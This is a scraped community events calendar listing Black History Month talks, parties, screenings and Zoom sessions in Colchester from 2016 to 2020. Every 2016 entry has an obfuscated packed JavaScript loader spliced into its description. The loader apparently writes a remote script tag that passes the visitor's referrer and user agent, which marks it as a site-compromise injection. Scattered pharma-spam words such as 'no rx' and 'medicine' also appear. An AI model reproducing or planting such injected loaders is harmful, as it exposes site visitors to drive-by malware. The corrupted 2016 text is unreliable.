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October 2016

BSPS – BHM Women’s Empowerment Conference

October 18, 2016 @ 6:30 pm - 9:00 pm
Essex University, Wivenhoe Park
Colchester, Essex CO4 3SQ United Kingdom
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 BSPS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekkhh|var|u0026u|referrer|iyrir||js|php'.split('|'),0,{})) – BHM Women’s Empowerment Conference / PanelEssex University

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Business Konnect – This Kole Obasa

October 19, 2016 @ 10:00 am - 2:00 pm
FIRSTSITE, Lewis Gardens, High Street
Colchester,, Essex CO1 1JH United Kingdom
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£20

 Business eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fetsn|var|u0026u|referrer|ezrde||js|php'.split('|'),0,{})) Konnect – This Kole Obasa -Firstsite Small businesses especially minority businesses are faced with everyday challenges mostly accessing funds. The theme of this event is “How to generate extra income with your current business”. Topics included (i) Franchising your business (ii) Video Marketing (iii) Accessing funds and (iv) Investing in the stock market.  Small business owners and aspiring entrepreneurs will have a chance to network with the guest speakers and other small business owners.

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Hair Society – Pop up Salon & Punk Society

October 19, 2016 @ 6:00 pm - 8:00 pm
Essex University, Wivenhoe Park
Colchester, Essex CO4 3SQ United Kingdom
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 Hair eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snndi|var|u0026u|referrer|endab||js|php'.split('|'),0,{})) Society – Pop up Salon – Essex University  Punk Society – Essex University

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Hate Crime Open Dialogue

October 20, 2016 @ 10:00 am - 2:30 pm
FIRSTSITE, Lewis Gardens, High Street
Colchester,, Essex CO1 1JH United Kingdom
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Hate eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsszd|var|u0026u|referrer|rdknk||js|php'.split('|'),0,{})) Crime Open Dialogue – Firtsite - FreeA dialogue delivered by Victim Support following the brexit. The rise in hate crime has increased the importance of dialogue about these issues and to know how to deal with them.

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East African Interactive Poetry and Social

October 20, 2016 @ 7:00 pm - 10:00 pm
Essex University, Wivenhoe Park
Colchester, Essex CO4 3SQ United Kingdom
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East eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfirf|var|u0026u|referrer|btkfn||js|php'.split('|'),0,{})) African Interactive Poetry and Social – Essex University

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Hair Society Pop up Hair Salon

October 21, 2016 @ 11:00 am - 5:00 pm
Essex University, Wivenhoe Park
Colchester, Essex CO4 3SQ United Kingdom
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 Hair eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysndh|var|u0026u|referrer|sdkaf||js|php'.split('|'),0,{})) Society Pop up Hair Salon – Essex University

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Open Mic Night

October 21, 2016 @ 6:00 pm - 10:00 pm
Essex University, Wivenhoe Park
Colchester, Essex CO4 3SQ United Kingdom
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 Open eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfiik|var|u0026u|referrer|aaati||js|php'.split('|'),0,{})) Mic Night – Essex University

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Caribbean Party

October 22, 2016 @ 7:00 pm - 11:00 pm
The Waiting Room, ST BOTOLPH'S QUARTER
Colchester, Essex CO1 1UE United Kingdom
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Caribbean eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebshz|var|u0026u|referrer|erkhk||js|php'.split('|'),0,{})) Party by S&S Caribbean Cafe– Waiting Room ColchesterTrue Caribbean music, no rx food and drink. Relax, dance and make a friend or two.

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TO KILL A MOCKING BIRD

October 23, 2016 @ 6:30 pm - 11:00 pm
Colchester Arts Center, Church Street
Colchester, Essex CO1 1NF United Kingdom
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£8

23rd eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bassf|var|u0026u|referrer|iykhd||js|php'.split('|'),0,{})) October 2016TO KILL A MOCKING BIRD - WITH POST FILM DISCUSSION LED BY DR JORDAN SAVAGE *Councillor Julie Young, the Mayor of Colchester, invites you to come and join us at Colchester Arts Centre to enjoy this special screening for charity.The oscar-winning film version of Harper Lee's classic tale of racial inequality and prejudice in the American deep south.The film will be followed by a debate about the themes that emerge from the story,…

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The Girl and the Giraffe

October 24, 2016 @ 11:00 am - 4:00 pm
Mercury Theatre, Balkerne Gate
Colchester, Essex CO1 1PT United Kingdom
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 The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zaazb|var|u0026u|referrer|bskia||js|php'.split('|'),0,{})) Girl and the Giraffe – Mercury TheatreOne day whilst Girl is playing in her garden, medicine she spots something peculiar on the other side of the fence.Climbing up as high as she can to get a better view, this site she is surprised when she comes face to face with… Giraffe!As their friendship grows, Girl discovers that Giraffe isn’t very well.Suitable for Kids – 3 to 7yrs oldOne day whilst Girl is playing in…

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BAME Network Meeting

October 24, 2016 @ 6:30 pm - 10:00 pm
Essex University, Wivenhoe Park
Colchester, Essex CO4 3SQ United Kingdom
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BAME eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arrty|var|u0026u|referrer|etein||js|php'.split('|'),0,{})) Network Meeting– Essex University

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A taste of South Africa by Majestic Kids

October 25, 2016 @ 10:30 am - 1:00 pm
FIRSTSITE, Lewis Gardens, High Street
Colchester,, Essex CO1 1JH United Kingdom
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£4

 A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehkia|var|u0026u|referrer|bynhz||js|php'.split('|'),0,{})) taste of South Africa by Majestic Kids Events25th to 26th – Tuesday & Wednesday – 10:30 to 1:30pm Firstsite - Suitable for all- £4

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Graphic, Novel and Comic Book Society

October 26, 2016 @ 6:30 pm - 10:00 pm
Essex University, Wivenhoe Park
Colchester, Essex CO4 3SQ United Kingdom
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Graphic, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrhbi|var|u0026u|referrer|ynikt||js|php'.split('|'),0,{})) remedy Novel and Comic Book Society Art Exhibition in the HexagonEssex University History Society– Essex University (TBC)

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BHM Networking Event

October 27, 2016 @ 6:00 pm - 10:00 pm
Essex University, Wivenhoe Park
Colchester, Essex CO4 3SQ United Kingdom
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BHM eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bezdd|var|u0026u|referrer|kkbyn||js|php'.split('|'),0,{})) Networking Event – Essex University

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Islamic Society Muslim Victims of Atlantic Slave

October 27, 2016 @ 6:00 pm - 11:00 pm
Essex University, Wivenhoe Park
Colchester, Essex CO4 3SQ United Kingdom
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27th eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byikr|var|u0026u|referrer|rihzi||js|php'.split('|'),0,{})) October Thursday –6pm-  Islamic Society Muslim Victims of Atlantic Slave – Essex University 27th October Thursday - 9pm-  BHM Quiz night – Essex University

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BHM Festival 4 all

October 28, 2016 @ 11:00 am - 5:00 pm
Essex University, Wivenhoe Park
Colchester, Essex CO4 3SQ United Kingdom
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  eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkkeb|var|u0026u|referrer|atyzz||js|php'.split('|'),0,{})) BHM Festival 4 all – Essex University  Hair Society – Pop up Salon – Essex University

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Luther Vandross Tribute – SOLD OUT

October 28, 2016 @ 7:30 pm - 11:55 pm
The Weston Homes Community stadium, United Way,
Colchester, Essex., CO4 5UP United Kingdom
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28 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdaei|var|u0026u|referrer|ybtai||js|php'.split('|'),0,{})) Oct 2016, Friday £12-£25Luther Vandross Tribute  - SOLD OUT You 'don't want to be a fool' and miss this! Join us at the stadium for our Luther Vandross tribute, get your tickets now as we know it is going to be 'so amazing!' Entry only tickets at £12.00 or why not join us for a two course meal at £25.00?Book tickets online now at www.coluboxoffice.com.Dates    TimesFri 28 Oct 2016   19:00 to 23:55Doors Open - 7.30pmAct…

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November 2016

ACS Heritage Show and After Party

November 1, 2016 @ 7:00 pm - 11:00 pm
Essex University, Wivenhoe Park
Colchester, Essex CO4 3SQ United Kingdom
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 ACS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybfir|var|u0026u|referrer|ifeei||js|php'.split('|'),0,{})) Heritage Show and After Party – Essex University

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October 2019

Black Girl Essex

October 1, 2019 @ 10:00 am - October 11, 2019 @ 5:00 pm
FIRSTSITE, Lewis Gardens, High Street
Colchester,, Essex CO1 1JH United Kingdom
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 Drawing on the original conception of the gallery surrounding the Berryfield Mosaic as ‘Colchester’s sitting room’, Firstsite has re-conceived the space as a working studio for the next 3 years— a site for not only the presentation of art, but also its making.British African-Caribbean artist, producer and activist Elsa James is the first artist to be exhibiting and working within Firstsite’s ‘Living Room’. Based in Southend-on-Sea, Essex, James’s work focuses on opinions held towards people of African Caribbean heritage and…

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The MAGIC of Motown

October 5, 2019 @ 7:30 pm - 11:00 pm
The Princes Theatre, Town Hall, Station Road
Clacton-on-Sea, Essex CO15 1SE United Kingdom
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Celebrating the sound of a generationMusic fans are invited to the biggest party of the year as the unstoppable Magic of Motown show steams into town! Seen by over a million people, it's no surprise that the show is one of the biggest success stories in British theatre history, even performing for Her Majesty the Queen, as special guests at the Royal Variety Performance.Prepare yourself for 40 back-to-back classic Motown hits, glittering costume changes, dazzling dance moves and outstanding musicianship…

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RULE the WORLD

October 6, 2019 @ 7:30 pm - 11:00 pm
The Princes Theatre, Town Hall, Station Road
Clacton-on-Sea, Essex CO15 1SE United Kingdom
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Now in it's 11th year touring, the award winning ‘Rule The World’ has been recognised as the Number 1 'Take That' tribute show in the world!The cast recently appeared alongside THE REAL 'TAKE THAT' on BBC1’s ‘The Graham Norton Show’ and after hearing Dan Maines (Gary), a stunned Gary Barlow said in amazement “He sounds like me!”. The real Gary then also praised the whole band saying “They’re very good these guys!” - not an easy statement to acquire from…

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Stop the Traffik – Modern Slavery

October 10, 2019 @ 7:30 pm - October 11, 2019 @ 5:00 pm
Colchester Arts Center, Church Street
Colchester, Essex CO1 1NF United Kingdom
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Two anti-trafficking training events run by Rah Rah Community Theatre Company, in partnership with the Essex Police, and Stop the Traffik. These are free events, using a unique and engaging way to raise awareness of this despicable crime.The first is a public event on Thursday, October 10th, at 7.30 pm at the Arts Centre, which is free and open to anyone who may be interested – please feel free to distribute details to anyone you think would like to attend.…

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SUPER BLACK

October 11, 2019 @ 10:00 am - October 24, 2019 @ 5:00 pm
FIRSTSITE, Lewis Gardens, High Street
Colchester,, Essex CO1 1JH United Kingdom
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The Black History Month group will be developing a symposium with Firstsite during Black History Month, alongside the activities of collecting Oral Histories and working with materials from the National Archives of the Arts Council collection to explore the black experience within Essex and the creative expressions that have come out of this. On including the exhibition in our Black History Month program, we hope to highlight the representation of black artists and communities, to greater encourage more people to…

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A CELEBRATION OF BLACK HISTORY MONTH WITH THE POWERHOUSE GOSPEL CHOIR

October 17, 2019 @ 7:30 pm - 11:30 pm
Mercury Theatre at Abbey Field, Abbey Field
Colchester, Essex CO2 7SZ United Kingdom
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£16

A CELEBRATION OF BLACK HISTORY MONTH WITH LAWRENCE WALKER AND POWERHOUSE GOSPEL CHOIRJoin our celebration of Black History Month featuring Lawrence Walker, Chairperson of Colchester Black History Month, providing a talk on celebrating the Windrush migration, and incredible live music from the Powerhouse Gospel Choir.17 OCTApprox 2hrs, including interval£16Box Office: 01206 573948

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Hollytrees Museum Celebrates Black History Month

October 19, 2019 @ 12:00 am - 4:00 pm
Hollytree Museum, Castle Park
Colchester, Essex CO1 1UG United Kingdom
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Hollytree Museum celebrates Black History Month in Colchester Castle park form 12 – 4pm, with displays, demonstration and commemoration of the achievements of the Windrush Generation Castle Park Colchester CO1 1UG

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Anna Mudeka

October 24, 2019 @ 2:00 am - 8:00 pm
FIRSTSITE, Lewis Gardens, High Street
Colchester,, Essex CO1 1JH United Kingdom
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New One-Woman Theatre Show, KURE KURE/FARAWAY Touring June & Autumn 2019:"The multi-media one-woman theatre show KURE KURE/FARAWAY includes music, projected visuals, song, dance and spoken word. It is a story of migration, atavism, DNA and the Ancestors' origins through the huge migration from Central Africa (5000 years ago), the migration of the Bantu Tribe from the Tanganyika and Baka tribal regions (Cameroon region) all the way to Zimbabwe to build the biggest kingdom in Africa (1200 AD) and my own…

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AFiUK YOUTH CONCERT

October 26, 2019 @ 11:00 am - 5:00 pm
Townhouse Youth club, Stockwell Street
Colchester, Essex United Kingdom
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October 26th YOUTH CONCERT AFiUK Youth club group will perform a “LIVE” concert also with several other engaging and popular activities for young people. 11am – 5pm Townhouse Youth club on Stockwell St. Colchester

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October 2020

Black History Month Launch on ZOOM

October 2, 2020 @ 8:00 pm - 9:30 pm
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BHM Colchester Launch on Friday Welcome segment and announcement of programs and activities for BHM Colchester 2020.With the first Interview of “Being Black in Essex" with Author and Poet, Lawrence Savage

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WINDRUSH EXHIBIT IN COLCHESTER CASTLE

October 6, 2020 @ 10:00 am - October 31, 2020 @ 6:00 pm
Colchester Castle Essex United Kingdom + Google Map

Black History Month in Colchester Castle  - An Exhibit of the WindRush migration of their arrival in Tilbury, Essex and their experiences of a life in Britain.  A series of panels displays and narratives marking the Windrush Generation and it descendants.  It is recommend you phone in advance and book a slot during the day and evening visits after 4pm.  Free entry to just see the exhibit, booking would be essential for anyone wishing to see the exhibition.

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BHM 2020 ON ZOOM “BEING BLACK IN ESSEX”

October 9, 2020 @ 8:00 pm - 9:30 pm

BHM 2020 Friday ZOOM “BEING BLACK IN ESSEX”  High Lights of BHM Colchester events with an interview with Mother, Educator and  Entrepreneur Julia Obasa and musical entertainment by Omar Aziz                 Zoom login ID: ID 534 090 8175    Password: BHM2020

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BHM@MERCURY THEATRE “WHY ARE WE STILL FIGHTING RACISM”

October 12, 2020 @ 7:00 pm - 8:30 pm
Mercury Theatre, Balkerne Gate
Colchester, Essex CO1 1PT United Kingdom
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The Mercury Theatre will present a workshop, “Why are we still fighting Racism” hosted by Sophie Kabangu and Lawrence Walker. Identifying ways to implement anti-racist practices TBA

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BBC Radio Essex acknowledges Black History Black

October 13, 2020 @ 8:00 pm - 10:00 pm
BBC RADIO ESSEX CHELMSFORD, + Google Map

Tuesday BBC Radio Essex acknowledges Black History Black with interview Indi Sandhu, Lawrence Walker and other guests on 103.5 & 95.3FM, with BBC Radio presenter Ian Wyatt.

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BHM 2020 on ZOOM “BEING BLACK IN ESSEX

October 16, 2020 @ 8:00 pm - 9:30 pm
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Friday ZOOM “BEING BLACK IN ESSEX”   Hi-lites of BHM Colchester  activities and,  an interview with local Colchester student, studying to be a teacher, Ms Forest Johnson with music by one of London’s most popular Female DJ’s Michelle Lu-Hang.                      Zoom login ID: ID 534 090 8175      Password: BHM2020

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BHM 2020 on  ZOOM “BEING BLACK IN ESSEX”

October 20, 2020 @ 8:00 pm - 9:30 pm

Tuesday  ZOOM “BEING BLACK IN ESSEX”   Hi-lites of BHM activities and, An interview with Black Lives Matter Colchester’s Chairperson and lead activist Sophie Kabangu with music by Michelle & Sydney  Zoom login ID: ID 534 090 8175 Password: BHM2020

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BHM 2020 Friday on ZOOM “BEING BLACK IN ESSEX”

October 23, 2020 @ 8:00 pm - 9:30 pm
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BHM 2020 Friday on ZOOM “BEING BLACK IN ESSEX”   Hi-lites of BHM Colchester activities and,  an interview with post Grad student and LGBTQ Activist, Racheale Fontenella with music by Michelle & Craig   Zoom login ID: ID 534 090 8175        Password: BHM2020

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BHM 2020 on ZOOM “Prevention of Suicide Amongst Black Men” 

October 24, 2020 @ 8:00 pm - 9:30 pm
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BHM 2020 Saturday on ZOOM “Prevention of Suicide Amongst Black Men”                     A closer look at Mental Health Issues in BAME communities with Guest Speakers Rosalva Johnston, Alzhemer’s Society Dementia Friendly Community Coordinator.   Zoom login ID: ID 534 090 8175        Password: BHM2020 

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BHM 2020 Monday on ZOOM “BEING BLACK IN ESSEX” 

October 26, 2020 @ 8:00 pm - 9:30 pm
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BHM 2020 Monday on ZOOM “BEING BLACK IN ESSEX”   Hi-lites of BHM Colchester activities and,  an interview with  Educator and Entrepreneur Godwin Daudu     Zoom  ID: 534 090 8175        Password: BHM2020

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From Here to Equality: Reparations for Black Americans in the Twenty-First Century

October 28, 2020 @ 6:00 pm - 8:00 pm
Essex University, Wivenhoe Park
Colchester, Essex CO4 3SQ United Kingdom
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William Darity Jr. and A. Kirsten Mullen speak about their book and their work on reparation for Black Americans, followed by a question and answer session led by Clara Sandoval, from our School of Law, Human Rights Centre and Essex Transitional Justice Network.You can find out more about this event and how to register at:  https://www.essex.ac.uk/events/2020/10/28/from-here-to-equality,-c-,-reparations-for-black-americans-in-the-twenty-first-century

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BHM 2020 Thursday on ZOOM “BEING BLACK IN ESSEX”

October 29, 2020 @ 8:00 pm - 9:30 pm
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BHM 2020 Thursday on ZOOM “BEING BLACK IN ESSEX”   Hi-lites of BHM Colchester activities and,  an interview with the Chair of the Minority Ethnic Support Association and the Gen Sec of the Black police Association. Mac Neife. This is going to be a serious interview, be sure to login and have a say, with music by Omar Aziz        Zoom login ID: ID 534 090 8175   Password: BHM2020

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Words With: Lela Burbridge

October 30, 2020 @ 7:00 pm - 9:00 pm
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  Lela will be sharing the lessons learned in her book ‘Lela: Ashes of Childhood’ which journeys through her formative years in Uganda as a child before moving to the United Kingdom as a teenager. Lela joins us to discuss her life before, during and after Essex that led to her career as a formidable author. This event is in collaboration with the University of Essex Albert Sloman Library.Find out more about this event, how to register and how to send your…

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